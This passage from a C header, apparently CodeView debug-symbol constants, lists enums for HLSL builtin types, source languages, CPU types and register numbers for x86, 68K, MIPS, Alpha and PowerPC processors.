CV_BI_HLSL_RWBUFFER = 0x0217, CV_BI_HLSL_BYTEADDRESS_BUFFER = 0x0218, CV_BI_HLSL_RWBYTEADDRESS_BUFFER = 0x0219, CV_BI_HLSL_STRUCTURED_BUFFER = 0x021a, CV_BI_HLSL_RWSTRUCTURED_BUFFER = 0x021b, CV_BI_HLSL_APPEND_STRUCTURED_BUFFER = 0x021c, CV_BI_HLSL_CONSUME_STRUCTURED_BUFFER= 0x021d, CV_BI_HLSL_MIN8FLOAT = 0x021e, CV_BI_HLSL_MIN10FLOAT = 0x021f, CV_BI_HLSL_MIN16FLOAT = 0x0220, CV_BI_HLSL_MIN12INT = 0x0221, CV_BI_HLSL_MIN16INT = 0x0222, CV_BI_HLSL_MIN16UINT = 0x0223, CV_BI_HLSL_CONSTANT_BUFFER = 0x0224, // 0x0400 - 0xffff - Unused. } CV_builtin_e; // enum describing the compile flag source language typedef enum CV_CFL_LANG { CV_CFL_C = 0x00, CV_CFL_CXX = 0x01, CV_CFL_FORTRAN = 0x02, CV_CFL_MASM = 0x03, CV_CFL_PASCAL = 0x04, CV_CFL_BASIC = 0x05, CV_CFL_COBOL = 0x06, CV_CFL_LINK = 0x07, CV_CFL_CVTRES = 0x08, CV_CFL_CVTPGD = 0x09, CV_CFL_CSHARP = 0x0A, // C# CV_CFL_VB = 0x0B, // Visual Basic CV_CFL_ILASM = 0x0C, // IL (as in CLR) ASM CV_CFL_JAVA = 0x0D, CV_CFL_JSCRIPT = 0x0E, CV_CFL_MSIL = 0x0F, // Unknown MSIL (LTCG of .NETMODULE) CV_CFL_HLSL = 0x10, // High Level Shader Language CV_CFL_OBJC = 0x11, // Objective-C CV_CFL_OBJCXX = 0x12, // Objective-C++ CV_CFL_SWIFT = 0x13, // Swift CV_CFL_ALIASOBJ = 0x14, CV_CFL_RUST = 0x15, // Rust } CV_CFL_LANG; // enum describing target processor typedef enum CV_CPU_TYPE_e { CV_CFL_8080 = 0x00, CV_CFL_8086 = 0x01, CV_CFL_80286 = 0x02, CV_CFL_80386 = 0x03, CV_CFL_80486 = 0x04, CV_CFL_PENTIUM = 0x05, CV_CFL_PENTIUMII = 0x06, CV_CFL_PENTIUMPRO = CV_CFL_PENTIUMII, CV_CFL_PENTIUMIII = 0x07, CV_CFL_MIPS = 0x10, CV_CFL_MIPSR4000 = CV_CFL_MIPS, // don't break current code CV_CFL_MIPS16 = 0x11, CV_CFL_MIPS32 = 0x12, CV_CFL_MIPS64 = 0x13, CV_CFL_MIPSI = 0x14, CV_CFL_MIPSII = 0x15, CV_CFL_MIPSIII = 0x16, CV_CFL_MIPSIV = 0x17, CV_CFL_MIPSV = 0x18, CV_CFL_M68000 = 0x20, CV_CFL_M68010 = 0x21, CV_CFL_M68020 = 0x22, CV_CFL_M68030 = 0x23, CV_CFL_M68040 = 0x24, CV_CFL_ALPHA = 0x30, CV_CFL_ALPHA_21064 = 0x30, CV_CFL_ALPHA_21164 = 0x31, CV_CFL_ALPHA_21164A = 0x32, CV_CFL_ALPHA_21264 = 0x33, CV_CFL_ALPHA_21364 = 0x34, CV_CFL_PPC601 = 0x40, CV_CFL_PPC603 = 0x41, CV_CFL_PPC604 = 0x42, CV_CFL_PPC620 = 0x43, CV_CFL_PPCFP = 0x44, CV_CFL_PPCBE = 0x45, CV_CFL_SH3 = 0x50, CV_CFL_SH3E = 0x51, CV_CFL_SH3DSP = 0x52, CV_CFL_SH4 = 0x53, CV_CFL_SHMEDIA = 0x54, CV_CFL_ARM3 = 0x60, CV_CFL_ARM4 = 0x61, CV_CFL_ARM4T = 0x62, CV_CFL_ARM5 = 0x63, CV_CFL_ARM5T = 0x64, CV_CFL_ARM6 = 0x65, CV_CFL_ARM_XMAC = 0x66, CV_CFL_ARM_WMMX = 0x67, CV_CFL_ARM7 = 0x68, CV_CFL_OMNI = 0x70, CV_CFL_IA64 = 0x80, CV_CFL_IA64_1 = 0x80, CV_CFL_IA64_2 = 0x81, CV_CFL_CEE = 0x90, CV_CFL_AM33 = 0xA0, CV_CFL_M32R = 0xB0, CV_CFL_TRICORE = 0xC0, CV_CFL_X64 = 0xD0, CV_CFL_AMD64 = CV_CFL_X64, CV_CFL_EBC = 0xE0, CV_CFL_THUMB = 0xF0, CV_CFL_ARMNT = 0xF4, CV_CFL_ARM64 = 0xF6, CV_CFL_HYBRID_X86_ARM64 = 0xF7, CV_CFL_ARM64EC = 0xF8, CV_CFL_ARM64X = 0xF9, CV_CFL_UNKNOWN = 0xFF, CV_CFL_D3D11_SHADER = 0x100, } CV_CPU_TYPE_e; typedef enum CV_HREG_e { // Register subset shared by all processor types, // must not overlap with any of the ranges below, hence the high values CV_ALLREG_ERR = 30000, CV_ALLREG_TEB = 30001, CV_ALLREG_TIMER = 30002, CV_ALLREG_EFAD1 = 30003, CV_ALLREG_EFAD2 = 30004, CV_ALLREG_EFAD3 = 30005, CV_ALLREG_VFRAME= 30006, CV_ALLREG_HANDLE= 30007, CV_ALLREG_PARAMS= 30008, CV_ALLREG_LOCALS= 30009, CV_ALLREG_TID = 30010, CV_ALLREG_ENV = 30011, CV_ALLREG_CMDLN = 30012, // Register set for the Intel 80x86 and ix86 processor series // (plus PCODE registers) CV_REG_NONE = 0, CV_REG_AL = 1, CV_REG_CL = 2, CV_REG_DL = 3, CV_REG_BL = 4, CV_REG_AH = 5, CV_REG_CH = 6, CV_REG_DH = 7, CV_REG_BH = 8, CV_REG_AX = 9, CV_REG_CX = 10, CV_REG_DX = 11, CV_REG_BX = 12, CV_REG_SP = 13, CV_REG_BP = 14, CV_REG_SI = 15, CV_REG_DI = 16, CV_REG_EAX = 17, CV_REG_ECX = 18, CV_REG_EDX = 19, CV_REG_EBX = 20, CV_REG_ESP = 21, CV_REG_EBP = 22, CV_REG_ESI = 23, CV_REG_EDI = 24, CV_REG_ES = 25, CV_REG_CS = 26, CV_REG_SS = 27, CV_REG_DS = 28, CV_REG_FS = 29, CV_REG_GS = 30, CV_REG_IP = 31, CV_REG_FLAGS = 32, CV_REG_EIP = 33, CV_REG_EFLAGS = 34, CV_REG_TEMP = 40, // PCODE Temp CV_REG_TEMPH = 41, // PCODE TempH CV_REG_QUOTE = 42, // PCODE Quote CV_REG_PCDR3 = 43, // PCODE reserved CV_REG_PCDR4 = 44, // PCODE reserved CV_REG_PCDR5 = 45, // PCODE reserved CV_REG_PCDR6 = 46, // PCODE reserved CV_REG_PCDR7 = 47, // PCODE reserved CV_REG_CR0 = 80, // CR0 -- control registers CV_REG_CR1 = 81, CV_REG_CR2 = 82, CV_REG_CR3 = 83, CV_REG_CR4 = 84, // Pentium CV_REG_DR0 = 90, // Debug register CV_REG_DR1 = 91, CV_REG_DR2 = 92, CV_REG_DR3 = 93, CV_REG_DR4 = 94, CV_REG_DR5 = 95, CV_REG_DR6 = 96, CV_REG_DR7 = 97, CV_REG_GDTR = 110, CV_REG_GDTL = 111, CV_REG_IDTR = 112, CV_REG_IDTL = 113, CV_REG_LDTR = 114, CV_REG_TR = 115, CV_REG_PSEUDO1 = 116, CV_REG_PSEUDO2 = 117, CV_REG_PSEUDO3 = 118, CV_REG_PSEUDO4 = 119, CV_REG_PSEUDO5 = 120, CV_REG_PSEUDO6 = 121, CV_REG_PSEUDO7 = 122, CV_REG_PSEUDO8 = 123, CV_REG_PSEUDO9 = 124, CV_REG_ST0 = 128, CV_REG_ST1 = 129, CV_REG_ST2 = 130, CV_REG_ST3 = 131, CV_REG_ST4 = 132, CV_REG_ST5 = 133, CV_REG_ST6 = 134, CV_REG_ST7 = 135, CV_REG_CTRL = 136, CV_REG_STAT = 137, CV_REG_TAG = 138, CV_REG_FPIP = 139, CV_REG_FPCS = 140, CV_REG_FPDO = 141, CV_REG_FPDS = 142, CV_REG_ISEM = 143, CV_REG_FPEIP = 144, CV_REG_FPEDO = 145, CV_REG_MM0 = 146, CV_REG_MM1 = 147, CV_REG_MM2 = 148, CV_REG_MM3 = 149, CV_REG_MM4 = 150, CV_REG_MM5 = 151, CV_REG_MM6 = 152, CV_REG_MM7 = 153, CV_REG_XMM0 = 154, // KATMAI registers CV_REG_XMM1 = 155, CV_REG_XMM2 = 156, CV_REG_XMM3 = 157, CV_REG_XMM4 = 158, CV_REG_XMM5 = 159, CV_REG_XMM6 = 160, CV_REG_XMM7 = 161, CV_REG_XMM00 = 162, // KATMAI sub-registers CV_REG_XMM01 = 163, CV_REG_XMM02 = 164, CV_REG_XMM03 = 165, CV_REG_XMM10 = 166, CV_REG_XMM11 = 167, CV_REG_XMM12 = 168, CV_REG_XMM13 = 169, CV_REG_XMM20 = 170, CV_REG_XMM21 = 171, CV_REG_XMM22 = 172, CV_REG_XMM23 = 173, CV_REG_XMM30 = 174, CV_REG_XMM31 = 175, CV_REG_XMM32 = 176, CV_REG_XMM33 = 177, CV_REG_XMM40 = 178, CV_REG_XMM41 = 179, CV_REG_XMM42 = 180, CV_REG_XMM43 = 181, CV_REG_XMM50 = 182, CV_REG_XMM51 = 183, CV_REG_XMM52 = 184, CV_REG_XMM53 = 185, CV_REG_XMM60 = 186, CV_REG_XMM61 = 187, CV_REG_XMM62 = 188, CV_REG_XMM63 = 189, CV_REG_XMM70 = 190, CV_REG_XMM71 = 191, CV_REG_XMM72 = 192, CV_REG_XMM73 = 193, CV_REG_XMM0L = 194, CV_REG_XMM1L = 195, CV_REG_XMM2L = 196, CV_REG_XMM3L = 197, CV_REG_XMM4L = 198, CV_REG_XMM5L = 199, CV_REG_XMM6L = 200, CV_REG_XMM7L = 201, CV_REG_XMM0H = 202, CV_REG_XMM1H = 203, CV_REG_XMM2H = 204, CV_REG_XMM3H = 205, CV_REG_XMM4H = 206, CV_REG_XMM5H = 207, CV_REG_XMM6H = 208, CV_REG_XMM7H = 209, CV_REG_MXCSR = 211, // XMM status register CV_REG_EDXEAX = 212, // EDX:EAX pair CV_REG_EMM0L = 220, // XMM sub-registers (WNI integer) CV_REG_EMM1L = 221, CV_REG_EMM2L = 222, CV_REG_EMM3L = 223, CV_REG_EMM4L = 224, CV_REG_EMM5L = 225, CV_REG_EMM6L = 226, CV_REG_EMM7L = 227, CV_REG_EMM0H = 228, CV_REG_EMM1H = 229, CV_REG_EMM2H = 230, CV_REG_EMM3H = 231, CV_REG_EMM4H = 232, CV_REG_EMM5H = 233, CV_REG_EMM6H = 234, CV_REG_EMM7H = 235, // do not change the order of these regs, first one must be even too CV_REG_MM00 = 236, CV_REG_MM01 = 237, CV_REG_MM10 = 238, CV_REG_MM11 = 239, CV_REG_MM20 = 240, CV_REG_MM21 = 241, CV_REG_MM30 = 242, CV_REG_MM31 = 243, CV_REG_MM40 = 244, CV_REG_MM41 = 245, CV_REG_MM50 = 246, CV_REG_MM51 = 247, CV_REG_MM60 = 248, CV_REG_MM61 = 249, CV_REG_MM70 = 250, CV_REG_MM71 = 251, CV_REG_YMM0 = 252, // AVX registers CV_REG_YMM1 = 253, CV_REG_YMM2 = 254, CV_REG_YMM3 = 255, CV_REG_YMM4 = 256, CV_REG_YMM5 = 257, CV_REG_YMM6 = 258, CV_REG_YMM7 = 259, CV_REG_YMM0H = 260, CV_REG_YMM1H = 261, CV_REG_YMM2H = 262, CV_REG_YMM3H = 263, CV_REG_YMM4H = 264, CV_REG_YMM5H = 265, CV_REG_YMM6H = 266, CV_REG_YMM7H = 267, CV_REG_YMM0I0 = 268, // AVX integer registers CV_REG_YMM0I1 = 269, CV_REG_YMM0I2 = 270, CV_REG_YMM0I3 = 271, CV_REG_YMM1I0 = 272, CV_REG_YMM1I1 = 273, CV_REG_YMM1I2 = 274, CV_REG_YMM1I3 = 275, CV_REG_YMM2I0 = 276, CV_REG_YMM2I1 = 277, CV_REG_YMM2I2 = 278, CV_REG_YMM2I3 = 279, CV_REG_YMM3I0 = 280, CV_REG_YMM3I1 = 281, CV_REG_YMM3I2 = 282, CV_REG_YMM3I3 = 283, CV_REG_YMM4I0 = 284, CV_REG_YMM4I1 = 285, CV_REG_YMM4I2 = 286, CV_REG_YMM4I3 = 287, CV_REG_YMM5I0 = 288, CV_REG_YMM5I1 = 289, CV_REG_YMM5I2 = 290, CV_REG_YMM5I3 = 291, CV_REG_YMM6I0 = 292, CV_REG_YMM6I1 = 293, CV_REG_YMM6I2 = 294, CV_REG_YMM6I3 = 295, CV_REG_YMM7I0 = 296, CV_REG_YMM7I1 = 297, CV_REG_YMM7I2 = 298, CV_REG_YMM7I3 = 299, CV_REG_YMM0F0 = 300, // AVX floating-point single precise registers CV_REG_YMM0F1 = 301, CV_REG_YMM0F2 = 302, CV_REG_YMM0F3 = 303, CV_REG_YMM0F4 = 304, CV_REG_YMM0F5 = 305, CV_REG_YMM0F6 = 306, CV_REG_YMM0F7 = 307, CV_REG_YMM1F0 = 308, CV_REG_YMM1F1 = 309, CV_REG_YMM1F2 = 310, CV_REG_YMM1F3 = 311, CV_REG_YMM1F4 = 312, CV_REG_YMM1F5 = 313, CV_REG_YMM1F6 = 314, CV_REG_YMM1F7 = 315, CV_REG_YMM2F0 = 316, CV_REG_YMM2F1 = 317, CV_REG_YMM2F2 = 318, CV_REG_YMM2F3 = 319, CV_REG_YMM2F4 = 320, CV_REG_YMM2F5 = 321, CV_REG_YMM2F6 = 322, CV_REG_YMM2F7 = 323, CV_REG_YMM3F0 = 324, CV_REG_YMM3F1 = 325, CV_REG_YMM3F2 = 326, CV_REG_YMM3F3 = 327, CV_REG_YMM3F4 = 328, CV_REG_YMM3F5 = 329, CV_REG_YMM3F6 = 330, CV_REG_YMM3F7 = 331, CV_REG_YMM4F0 = 332, CV_REG_YMM4F1 = 333, CV_REG_YMM4F2 = 334, CV_REG_YMM4F3 = 335, CV_REG_YMM4F4 = 336, CV_REG_YMM4F5 = 337, CV_REG_YMM4F6 = 338, CV_REG_YMM4F7 = 339, CV_REG_YMM5F0 = 340, CV_REG_YMM5F1 = 341, CV_REG_YMM5F2 = 342, CV_REG_YMM5F3 = 343, CV_REG_YMM5F4 = 344, CV_REG_YMM5F5 = 345, CV_REG_YMM5F6 = 346, CV_REG_YMM5F7 = 347, CV_REG_YMM6F0 = 348, CV_REG_YMM6F1 = 349, CV_REG_YMM6F2 = 350, CV_REG_YMM6F3 = 351, CV_REG_YMM6F4 = 352, CV_REG_YMM6F5 = 353, CV_REG_YMM6F6 = 354, CV_REG_YMM6F7 = 355, CV_REG_YMM7F0 = 356, CV_REG_YMM7F1 = 357, CV_REG_YMM7F2 = 358, CV_REG_YMM7F3 = 359, CV_REG_YMM7F4 = 360, CV_REG_YMM7F5 = 361, CV_REG_YMM7F6 = 362, CV_REG_YMM7F7 = 363, CV_REG_YMM0D0 = 364, // AVX floating-point double precise registers CV_REG_YMM0D1 = 365, CV_REG_YMM0D2 = 366, CV_REG_YMM0D3 = 367, CV_REG_YMM1D0 = 368, CV_REG_YMM1D1 = 369, CV_REG_YMM1D2 = 370, CV_REG_YMM1D3 = 371, CV_REG_YMM2D0 = 372, CV_REG_YMM2D1 = 373, CV_REG_YMM2D2 = 374, CV_REG_YMM2D3 = 375, CV_REG_YMM3D0 = 376, CV_REG_YMM3D1 = 377, CV_REG_YMM3D2 = 378, CV_REG_YMM3D3 = 379, CV_REG_YMM4D0 = 380, CV_REG_YMM4D1 = 381, CV_REG_YMM4D2 = 382, CV_REG_YMM4D3 = 383, CV_REG_YMM5D0 = 384, CV_REG_YMM5D1 = 385, CV_REG_YMM5D2 = 386, CV_REG_YMM5D3 = 387, CV_REG_YMM6D0 = 388, CV_REG_YMM6D1 = 389, CV_REG_YMM6D2 = 390, CV_REG_YMM6D3 = 391, CV_REG_YMM7D0 = 392, CV_REG_YMM7D1 = 393, CV_REG_YMM7D2 = 394, CV_REG_YMM7D3 = 395, CV_REG_BND0 = 396, // x86 MPX bounds registers CV_REG_BND1 = 397, CV_REG_BND2 = 398, CV_REG_BND3 = 399, CV_REG_BNDCFGU = 400, CV_REG_BNDSTATUS = 401, CV_REG_ZMM0 = 402, // AVX-512 registers CV_REG_ZMM1 = 403, CV_REG_ZMM2 = 404, CV_REG_ZMM3 = 405, CV_REG_ZMM4 = 406, CV_REG_ZMM5 = 407, CV_REG_ZMM6 = 408, CV_REG_ZMM7 = 409, CV_REG_ZMM0H = 410, CV_REG_ZMM1H = 411, CV_REG_ZMM2H = 412, CV_REG_ZMM3H = 413, CV_REG_ZMM4H = 414, CV_REG_ZMM5H = 415, CV_REG_ZMM6H = 416, CV_REG_ZMM7H = 417, CV_REG_K0 = 418, CV_REG_K1 = 419, CV_REG_K2 = 420, CV_REG_K3 = 421, CV_REG_K4 = 422, CV_REG_K5 = 423, CV_REG_K6 = 424, CV_REG_K7 = 425, CV_REG_SSP = 426, // CET- Shadow Stack Pointer // registers for the 68K processors CV_R68_D0 = 0, CV_R68_D1 = 1, CV_R68_D2 = 2, CV_R68_D3 = 3, CV_R68_D4 = 4, CV_R68_D5 = 5, CV_R68_D6 = 6, CV_R68_D7 = 7, CV_R68_A0 = 8, CV_R68_A1 = 9, CV_R68_A2 = 10, CV_R68_A3 = 11, CV_R68_A4 = 12, CV_R68_A5 = 13, CV_R68_A6 = 14, CV_R68_A7 = 15, CV_R68_CCR = 16, CV_R68_SR = 17, CV_R68_USP = 18, CV_R68_MSP = 19, CV_R68_SFC = 20, CV_R68_DFC = 21, CV_R68_CACR = 22, CV_R68_VBR = 23, CV_R68_CAAR = 24, CV_R68_ISP = 25, CV_R68_PC = 26, //reserved 27 CV_R68_FPCR = 28, CV_R68_FPSR = 29, CV_R68_FPIAR = 30, //reserved 31 CV_R68_FP0 = 32, CV_R68_FP1 = 33, CV_R68_FP2 = 34, CV_R68_FP3 = 35, CV_R68_FP4 = 36, CV_R68_FP5 = 37, CV_R68_FP6 = 38, CV_R68_FP7 = 39, //reserved 40 CV_R68_MMUSR030 = 41, CV_R68_MMUSR = 42, CV_R68_URP = 43, CV_R68_DTT0 = 44, CV_R68_DTT1 = 45, CV_R68_ITT0 = 46, CV_R68_ITT1 = 47, //reserved 50 CV_R68_PSR = 51, CV_R68_PCSR = 52, CV_R68_VAL = 53, CV_R68_CRP = 54, CV_R68_SRP = 55, CV_R68_DRP = 56, CV_R68_TC = 57, CV_R68_AC = 58, CV_R68_SCC = 59, CV_R68_CAL = 60, CV_R68_TT0 = 61, CV_R68_TT1 = 62, //reserved 63 CV_R68_BAD0 = 64, CV_R68_BAD1 = 65, CV_R68_BAD2 = 66, CV_R68_BAD3 = 67, CV_R68_BAD4 = 68, CV_R68_BAD5 = 69, CV_R68_BAD6 = 70, CV_R68_BAD7 = 71, CV_R68_BAC0 = 72, CV_R68_BAC1 = 73, CV_R68_BAC2 = 74, CV_R68_BAC3 = 75, CV_R68_BAC4 = 76, CV_R68_BAC5 = 77, CV_R68_BAC6 = 78, CV_R68_BAC7 = 79, // Register set for the MIPS 4000 CV_M4_NOREG = CV_REG_NONE, CV_M4_IntZERO = 10, /* CPU REGISTER */ CV_M4_IntAT = 11, CV_M4_IntV0 = 12, CV_M4_IntV1 = 13, CV_M4_IntA0 = 14, CV_M4_IntA1 = 15, CV_M4_IntA2 = 16, CV_M4_IntA3 = 17, CV_M4_IntT0 = 18, CV_M4_IntT1 = 19, CV_M4_IntT2 = 20, CV_M4_IntT3 = 21, CV_M4_IntT4 = 22, CV_M4_IntT5 = 23, CV_M4_IntT6 = 24, CV_M4_IntT7 = 25, CV_M4_IntS0 = 26, CV_M4_IntS1 = 27, CV_M4_IntS2 = 28, CV_M4_IntS3 = 29, CV_M4_IntS4 = 30, CV_M4_IntS5 = 31, CV_M4_IntS6 = 32, CV_M4_IntS7 = 33, CV_M4_IntT8 = 34, CV_M4_IntT9 = 35, CV_M4_IntKT0 = 36, CV_M4_IntKT1 = 37, CV_M4_IntGP = 38, CV_M4_IntSP = 39, CV_M4_IntS8 = 40, CV_M4_IntRA = 41, CV_M4_IntLO = 42, CV_M4_IntHI = 43, CV_M4_Fir = 50, CV_M4_Psr = 51, CV_M4_FltF0 = 60, /* Floating point registers */ CV_M4_FltF1 = 61, CV_M4_FltF2 = 62, CV_M4_FltF3 = 63, CV_M4_FltF4 = 64, CV_M4_FltF5 = 65, CV_M4_FltF6 = 66, CV_M4_FltF7 = 67, CV_M4_FltF8 = 68, CV_M4_FltF9 = 69, CV_M4_FltF10 = 70, CV_M4_FltF11 = 71, CV_M4_FltF12 = 72, CV_M4_FltF13 = 73, CV_M4_FltF14 = 74, CV_M4_FltF15 = 75, CV_M4_FltF16 = 76, CV_M4_FltF17 = 77, CV_M4_FltF18 = 78, CV_M4_FltF19 = 79, CV_M4_FltF20 = 80, CV_M4_FltF21 = 81, CV_M4_FltF22 = 82, CV_M4_FltF23 = 83, CV_M4_FltF24 = 84, CV_M4_FltF25 = 85, CV_M4_FltF26 = 86, CV_M4_FltF27 = 87, CV_M4_FltF28 = 88, CV_M4_FltF29 = 89, CV_M4_FltF30 = 90, CV_M4_FltF31 = 91, CV_M4_FltFsr = 92, // Register set for the ALPHA AXP CV_ALPHA_NOREG = CV_REG_NONE, CV_ALPHA_FltF0 = 10, // Floating point registers CV_ALPHA_FltF1 = 11, CV_ALPHA_FltF2 = 12, CV_ALPHA_FltF3 = 13, CV_ALPHA_FltF4 = 14, CV_ALPHA_FltF5 = 15, CV_ALPHA_FltF6 = 16, CV_ALPHA_FltF7 = 17, CV_ALPHA_FltF8 = 18, CV_ALPHA_FltF9 = 19, CV_ALPHA_FltF10 = 20, CV_ALPHA_FltF11 = 21, CV_ALPHA_FltF12 = 22, CV_ALPHA_FltF13 = 23, CV_ALPHA_FltF14 = 24, CV_ALPHA_FltF15 = 25, CV_ALPHA_FltF16 = 26, CV_ALPHA_FltF17 = 27, CV_ALPHA_FltF18 = 28, CV_ALPHA_FltF19 = 29, CV_ALPHA_FltF20 = 30, CV_ALPHA_FltF21 = 31, CV_ALPHA_FltF22 = 32, CV_ALPHA_FltF23 = 33, CV_ALPHA_FltF24 = 34, CV_ALPHA_FltF25 = 35, CV_ALPHA_FltF26 = 36, CV_ALPHA_FltF27 = 37, CV_ALPHA_FltF28 = 38, CV_ALPHA_FltF29 = 39, CV_ALPHA_FltF30 = 40, CV_ALPHA_FltF31 = 41, CV_ALPHA_IntV0 = 42, // Integer registers CV_ALPHA_IntT0 = 43, CV_ALPHA_IntT1 = 44, CV_ALPHA_IntT2 = 45, CV_ALPHA_IntT3 = 46, CV_ALPHA_IntT4 = 47, CV_ALPHA_IntT5 = 48, CV_ALPHA_IntT6 = 49, CV_ALPHA_IntT7 = 50, CV_ALPHA_IntS0 = 51, CV_ALPHA_IntS1 = 52, CV_ALPHA_IntS2 = 53, CV_ALPHA_IntS3 = 54, CV_ALPHA_IntS4 = 55, CV_ALPHA_IntS5 = 56, CV_ALPHA_IntFP = 57, CV_ALPHA_IntA0 = 58, CV_ALPHA_IntA1 = 59, CV_ALPHA_IntA2 = 60, CV_ALPHA_IntA3 = 61, CV_ALPHA_IntA4 = 62, CV_ALPHA_IntA5 = 63, CV_ALPHA_IntT8 = 64, CV_ALPHA_IntT9 = 65, CV_ALPHA_IntT10 = 66, CV_ALPHA_IntT11 = 67, CV_ALPHA_IntRA = 68, CV_ALPHA_IntT12 = 69, CV_ALPHA_IntAT = 70, CV_ALPHA_IntGP = 71, CV_ALPHA_IntSP = 72, CV_ALPHA_IntZERO = 73, CV_ALPHA_Fpcr = 74, // Control registers CV_ALPHA_Fir = 75, CV_ALPHA_Psr = 76, CV_ALPHA_FltFsr = 77, CV_ALPHA_SoftFpcr = 78, // Register Set for Motorola/IBM PowerPC /* ** PowerPC General Registers ( User Level ) */ CV_PPC_GPR0 = 1, CV_PPC_GPR1 = 2, CV_PPC_GPR2 = 3, CV_PPC_GPR3 = 4, CV_PPC_GPR4 = 5, CV_PPC_GPR5 = 6, CV_PPC_GPR6 = 7, CV_PPC_GPR7 = 8, CV_PPC_GPR8 = 9, CV_PPC_GPR9 = 10, CV_PPC_GPR10 = 11, CV_PPC_GPR11 = 12, CV_PPC_GPR12 = 13, CV_PPC_GPR13 = 14, CV_PPC_GPR14 = 15, CV_PPC_GPR15 = 16, CV_PPC_GPR16 = 17, CV_PPC_GPR17 = 18, CV_PPC_GPR18 = 19, CV_PPC_GPR19 = 20, CV_PPC_GPR20 = 21, CV_PPC_GPR21 = 22, CV_PPC_GPR22 = 23, CV_PPC_GPR23 = 24, CV_PPC_GPR24 = 25, CV_PPC_GPR25 = 26, CV_PPC_GPR26 = 27, CV_PPC_GPR27 = 28, CV_PPC_GPR28 = 29, CV_PPC_GPR29 = 30, CV_PPC_GPR30 = 31, CV_PPC_GPR31 = 32, /* ** PowerPC Condition Register ( User Level ) */ CV_PPC_CR = 33, CV_PPC_CR0 = 34, CV_PPC_CR1 = 35, CV_PPC_CR2 = 36, CV_PPC_CR3 = 37, CV_PPC_CR4 = 38, CV_PPC_CR5 = 39, CV_PPC_CR6 = 40, CV_PPC_CR7 = 41, /* ** PowerPC Floating Point Registers ( User Level ) */ CV_PPC_FPR0 = 42, CV_PPC_FPR1 = 43, CV_PPC_FPR2 = 44, CV_PPC_FPR3 = 45, CV_PPC_FPR4 = 46, CV_PPC_FPR5 = 47, CV_PPC_FPR6 = 48, CV_PPC_FPR7 = 49, CV_PPC_FPR8 = 50, CV_PPC_FPR9 = 51, CV_PPC_FPR10 = 52, CV_PPC_FPR11 = 53, CV_PPC_FPR12 = 54, CV_PPC_FPR13 = 55, CV_PPC_FPR14 = 56, CV_PPC_FPR15 = 57, CV_PPC_FPR16 = 58, CV_PPC_FPR17 = 59, CV_PPC_FPR18 = 60, CV_PPC_FPR19 = 61, CV_PPC_FPR20 = 62, CV_PPC_FPR21 = 63, CV_PPC_FPR22 = 64, CV_PPC_FPR23 = 65, CV_PPC_FPR24 = 66, CV_PPC_FPR25 = 67, CV_PPC_FPR26 = 68, CV_PPC_FPR27 = 69, CV_PPC_FPR28 = 70, CV_PPC_FPR29 = 71, CV_PPC_FPR30 = 72, CV_PPC_FPR31 = 73, /* ** PowerPC Floating Point Status and Control Register ( User Level ) */ CV_PPC_FPSCR = 74, /* ** PowerPC Machine State Register ( Supervisor Level ) */ CV_PPC_MSR = 75, /* ** PowerPC Segment Registers ( Supervisor Level ) */ CV_PPC_SR0 = 76, CV_PPC_SR1 = 77, CV_PPC_SR2 = 78, CV_PPC_SR3 = 79, CV_PPC_SR4 = 80, CV_PPC_SR5 = 81, CV_PPC_SR6 = 82, CV_PPC_SR7 = 83, CV_PPC_SR8 = 84, CV_PPC_SR9 = 85, CV_PPC_SR10 = 86, CV_PPC_SR11 = 87, CV_PPC_SR12 = 88, CV_PPC_SR13 = 89, CV_PPC_SR14 = 90, CV_PPC_SR15 = 91, /* ** For all of the special purpose registers add 100 to the SPR# that the ** Motorola/IBM documentation gives with the exception of any imaginary ** registers. */ /* ** PowerPC Special Purpose Registers ( User Level ) */ CV_PPC_PC = 99, // PC (imaginary register) CV_PPC_MQ = 100, // MPC601 CV_PPC_XER = 101, CV_PPC_RTCU = 104, // MPC601 CV_PPC_RTCL = 105, // MPC601 CV_PPC_LR = 108, CV_PPC_CTR = 109, CV_PPC_COMPARE = 110, // part of XER (internal to the debugger only) CV_PPC_COUNT = 111, // part of XER (internal to the debugger only) /* ** PowerPC Special Purpose Registers ( Supervisor Level ) */ CV_PPC_DSISR = 118, CV_PPC_DAR = 119, CV_PPC_DEC = 122, CV_PPC_SDR1 = 125, CV_PPC_SRR0 = 126, CV_PPC_SRR1 = 127, CV_PPC_SPRG0 = 372, CV_PPC_SPRG1 = 373, CV_PPC_SPRG2 = 374, CV_PPC_SPRG3 = 375, CV_PPC_ASR = 280, // 64-bit implementations only CV_PPC_EAR = 382, CV_PPC_PVR = 287, CV_PPC_BAT0U = 628, CV_PPC_BAT0L = 629, CV_PPC_BAT1U = 630, CV_PPC_BAT1L = 631, CV_PPC_BAT2U = 632, CV_PPC_BAT2L = 633, CV_PPC_BAT3U = 634, CV_PPC_BAT3L = 635, CV_PPC_DBAT0U = 636, CV_PPC_DBAT0L = 637, CV_PPC_DBAT1U = 638, CV_PPC_DBAT1L = 639, CV_PPC_DBAT2U = 640, CV_PPC_DBAT2L = 641, CV_PPC_DBAT3U = 642, CV_PPC_DBAT3L = 643, /* ** PowerPC Special Purpose Registers Implementation Dependent ( Supervisor Level ) */ /* ** Doesn't appear that IBM/Motorola has finished defining these. */ CV_PPC_PMR0 = 1044, // MPC620, CV_PPC_PMR1 = 1045, // MPC620, CV_PPC_PMR2 = 1046, // MPC620, CV_PPC_PMR3 = 1047, // MPC620, CV_PPC_PMR4 = 1048, // MPC620, CV_PPC_PMR5 = 1049, // MPC620, CV_PPC_PMR6 = 1050, // MPC620, CV_PPC_PMR7 = 1051, // MPC620, CV_PPC_PMR8 = 1052, // MPC620, CV_PPC_PMR9 = 1053, // MPC620, CV_PPC_PMR10 = 1054, // MPC620, CV_PPC_PMR11 = 1055, // MPC620, CV_PPC_PMR12 = 1056, // MPC620, CV_PPC_PMR13 = 1057, // MPC620, CV_PPC_PMR14 = 1058, // MPC620, CV_PPC_PMR15 = 1059, // MPC620, CV_PPC_DMISS = 1076, // MPC603 CV_PPC_DCMP = 1077, // MPC603 CV_PPC_HASH1 = 1078, // MPC603 CV_PPC_HASH2 = 1079, // MPC603 CV_PPC_IMISS = 1080, // MPC603 CV_PPC_ICMP = 1081, // MPC603 CV_PPC_RPA = 1082, // MPC603 CV_PPC_HID0 = 1108, // MPC601, MPC603, MPC620 CV_PPC_HID1 = 1109, // MPC601 CV_PPC_HID2 = 1110, // MPC601, MPC603, MPC620 ( IABR ) CV_PPC_HID3 = 1111, // Not Defined CV_PPC_HID4 = 1112, // Not Defined CV_PPC_HID5 = 1113, // MPC601, MPC604, MPC620 ( DABR ) 